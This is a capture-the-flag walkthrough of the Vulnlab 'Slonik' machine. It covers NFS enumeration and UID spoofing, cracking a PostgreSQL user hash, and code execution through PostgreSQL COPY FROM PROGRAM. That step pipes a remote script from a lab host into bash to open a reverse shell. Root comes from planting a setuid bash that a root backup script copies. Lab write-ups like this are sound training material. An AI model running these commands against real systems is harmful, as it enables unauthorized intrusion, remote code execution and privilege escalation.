Slonik is a medium Linux machine from Vulnlab created by xct. It involves getting foothold through PostgreSQL and escalating privilege by exploiting a custom backup script.
➜ sudo nmap -sC -sV --min-rate=5000 10.10.93.116 | tee nmap.txt [sudo] password for serioton: Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-29 14:45 EDT Nmap scan report for 10.10.93.116 Host is up (0.19s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA) |_ 256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519) 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100003 3,4 2049/tcp nfs | 100003 3,4 2049/tcp6 nfs | 100005 1,2,3 41801/udp mountd | 100005 1,2,3 51745/tcp6 mountd | 100005 1,2,3 58629/tcp mountd | 100005 1,2,3 58984/udp6 mountd | 100021 1,3,4 35315/tcp6 nlockmgr | 100021 1,3,4 39403/udp6 nlockmgr | 100021 1,3,4 45943/tcp nlockmgr | 100021 1,3,4 54375/udp nlockmgr | 100024 1 37624/udp6 status | 100024 1 38943/tcp status | 100024 1 40485/tcp6 status | 100024 1 44411/udp status | 100227 3 2049/tcp nfs_acl |_ 100227 3 2049/tcp6 nfs_acl 2049/tcp open nfs_acl 3 (RPC #100227) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.18 seconds
From the Nmap scan we can see that we have ssh and nfs ports open
NFS
We can look for NFS shares using this command
1 2 3 4 5 6 7 8 9 10 11 12 13
➜ current nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.93.116 -Pn
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-29 15:09 EDT Nmap scan report for 10.10.93.116 Host is up (0.070s latency).
PORT STATE SERVICE 111/tcp open rpcbind | nfs-showmount: | /var/backups * |_ /home *
Nmap done: 1 IP address (1 host up) scanned in 1.82 seconds
As you can see, there are two shares: backups and home. Let’s mount them
1 2
mkdir extract sudo mount -t nfs 10.10.93.116: ./extract
The home directory looks interesting but we can’t access it since it is owned by the user 1337
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
➜ cd extract ➜ ls -lah total 16K drwxr-xr-x 19 root root 4.0K Oct 31 06:05 . drwxr-xr-x 5 serioton serioton 4.0K Oct 31 06:06 .. drwxr-xr-x 3 root root 4.0K Oct 24 09:03 home drwxr-xr-x 13 root root 4.0K Sep 18 22:21 var ➜ cd home ➜ ls -lah total 12K drwxr-xr-x 3 root root 4.0K Oct 24 09:03 . drwxr-xr-x 19 root root 4.0K Oct 31 06:05 .. drwxr-x--- 5 1337 1337 4.0K Oct 24 09:05 service ➜ cd service cd: permission denied: service
We need to create a user called 1337 and assign it the UID 1337, aligning our permissions with those required for access.
1 2
➜ sudo usermod -u 1337 1337 ➜ sudo su 1337
Now we have access to the directory
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
$ bash 1337@eternal:/home/serioton/vulnlab/slonik/extract/home$ ls -lah total 12K drwxr-xr-x 3 root root 4.0K Oct 24 09:03 . drwxr-xr-x 19 root root 4.0K Oct 29 14:45 .. drwxr-x--- 5 1337 1337 4.0K Oct 24 09:05 service 1337@eternal:/home/serioton/vulnlab/slonik/extract/home$ cd service/ 1337@eternal:/home/serioton/vulnlab/slonik/extract/home/service$ ls -lah total 40K drwxr-x--- 5 1337 1337 4.0K Oct 24 09:05 . drwxr-xr-x 3 root root 4.0K Oct 24 09:03 .. -rw-rw-r-- 1 1337 1337 90 Oct 24 09:04 .bash_history -rw-r--r-- 1 1337 1337 220 Oct 24 02:08 .bash_logout -rw-r--r-- 1 1337 1337 3.7K Oct 24 02:08 .bashrc drwx------ 2 1337 1337 4.0K Oct 24 02:54 .cache drwxrwxr-x 3 1337 1337 4.0K Oct 24 02:15 .local -rw-r--r-- 1 1337 1337 807 Oct 24 02:08 .profile -rw------- 1 1337 1337 326 Oct 24 02:17 .psql_history drwxrwxr-x 2 1337 1337 4.0K Oct 24 02:56 .ssh
There are some interesting files, such as .psql_history and .bash_history. Let’s start by examining the .psql_history file
1 2 3 4 5 6 7
1337@eternal:/home/serioton/vulnlab/slonik/extract/home/service$ cat .psql_history CREATE DATABASE service; \c service; CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT); INSERT INTO users (username, password, description)VALUES ('service', '<REDACTED>'WHERE', network access account'); select * from users; \q
We obtained the hash of the service user. Let’s crack it with john
1 2 3 4 5 6 7 8 9
➜ j hash --format=Raw-MD5 Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hash type, consider --fork=4 Press 'q' or Ctrl-C to abort, almost any other key for status <REDACTED> (?) 1g 0:00:00:00 DONE (2023-10-29 15:26) 100.0g/s 921600p/s 921600c/s 921600C/s fucklife..sassy123 Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed.
Alright, at this point, we have our credentials, so perhaps we can SSH in
System information as of Tue Oct 31 10:19:02 UTC 2023
System load: 0.00927734375 Processes: 124 Usage of /: 32.3% of 7.57GB Users logged in: 0 Memory usage: 23% IPv4 address for eth0: 10.10.84.117 Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old. To check for new updates run: sudo apt update
Last login: Tue Oct 24 13:11:33 2023 from 10.10.1.254 Connection to slonik.vl closed.
oops! when we put the password it just closes the SSH connection as you can see
1
Connection to slonik.vl closed.
Hmmm, weird right? At this point I was so confused then I took a look at the hint in the wiki which says
1
Use ssh forwarding & connect to that socket
If we take a look at the bash history file, we can see some interesting things. Specifically, this file right here /var/run/postgresql/.s.PGSQL.5432 which is a Unix domain socket used by PostgreSQL.
postgres=# \c service psql (16.0 (Debian 16.0-2), server 14.9 (Ubuntu 14.9-0ubuntu0.22.04.1)) You are now connected to database "service" asuser "postgres".
We can list tables inside this db using \d
1 2 3 4 5 6 7
service=# \d List of relations Schema | Name | Type | Owner --------+--------------+----------+---------- public | users |table| postgres public | users_id_seq | sequence | postgres (2rows)
1 2 3 4 5
service=# select*from users; id | username | password | description ----+----------+----------------------------------+------------------------ 1| service |<REDACTED>| network access account (1row)
We already got this hash so that’s not interesting. However, we can read files and even run commands from inside Postgres.
Now let’s get a reverse shell. To do this, I will use the following one liner and grab a shell from our machine then pipe it to bash to execute it
1
service=# DROPTABLE IF EXISTS cmd_exec;CREATETABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'curl <http://10.8.0.210/x> | bash';DROPTABLE IF EXISTS cmd_exec
Inside the x file there is a bash reverse shell
1 2 3
➜ cat x #!/bin/bash bash -i >& /dev/tcp/10.8.0.210/443 0>&1
Now, all we need to do is to setup Netcat listener and a Python server, then run the above one-liner. And we got a shell as the user postgres
1 2 3 4 5 6 7
➜ nc -nlvp 443 listening on [any] 443 ... connect to [10.8.0.210] from (UNKNOWN) [10.10.78.92] 34228 bash: cannot set terminal process group (1025): Inappropriate ioctl for device bash: no job control in this shell postgres@slonik:/var/lib/postgresql/14/main$ whoami postgres
count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l) if [ "$count" -gt 10 ]; then /usr/bin/rm -rf /var/backups/* fi
This bash script performs a series of operations: Initially, it removes the content of the /opt/backups/current/ directory. Following this, it runs pg_basebackup, a tool designed for creating base backups of PostgreSQL database. This tool establishes a connection to the database hosted on /var/run/postgresql, operating as the postgres user. The backup is then stored in the /opt/backups/current/ directory. Finally, the script proceeds to create a compressed ZIP file of the current backup.
Attack Strategy
Since the backup script is running as root and the default path of the DB which is being backed up is under /var/lib/postgresql/14/main
1 2 3
postgres@slonik:~/14/main$ ls PG_VERSION global pg_dynshmem pg_multixact pg_replslot pg_snapshots pg_stat_tmp pg_tblspc pg_wal postgresql.auto.conf postmaster.pid base pg_commit_ts pg_logical pg_notify pg_serial pg_stat pg_subtrans pg_twophase pg_xact postmaster.opts
and since everything in the backup will be owned by root, we can write files in /var/lib/postgresql/14/main which is owned by our user (postgres) and then root will write those files in /opt/backups/current/ which is owned by him.
Attack Execution
Let’s copy bash to ~/14/main and give it the setuid bit
1 2 3 4 5 6 7 8 9 10
postgres@slonik:~/14/main$ cp /bin/bash mybash postgres@slonik:~/14/main$ chmod u+s mybash postgres@slonik:~/14/main$ ls PG_VERSION global pg_commit_ts pg_logical pg_notify pg_serial pg_stat pg_subtrans pg_twophase pg_xact postmaster.opts base mybash pg_dynshmem pg_multixact pg_replslot pg_snapshots pg_stat_tmp pg_tblspc pg_wal postgresql.auto.conf postmaster.pid postgres@slonik:~/14/main$ ls -lah total 1.5M ... -rwsr-xr-x 1 postgres postgres 1.4M Nov 2 13:22 mybash ...
Now all we have to do is to wait a little bit until the backup script executes and we should have mybash under /opt/backups/current/ as you can see here
1 2 3 4 5
postgres@slonik:~/14/main$ ls -lah /opt/backups/current/ total 1.6M ... -rwsr-xr-x 1 root root 1.4M Nov 2 13:23 mybash ...
mybash is owned by root and have the setuid bit so we can simply spawn a root shell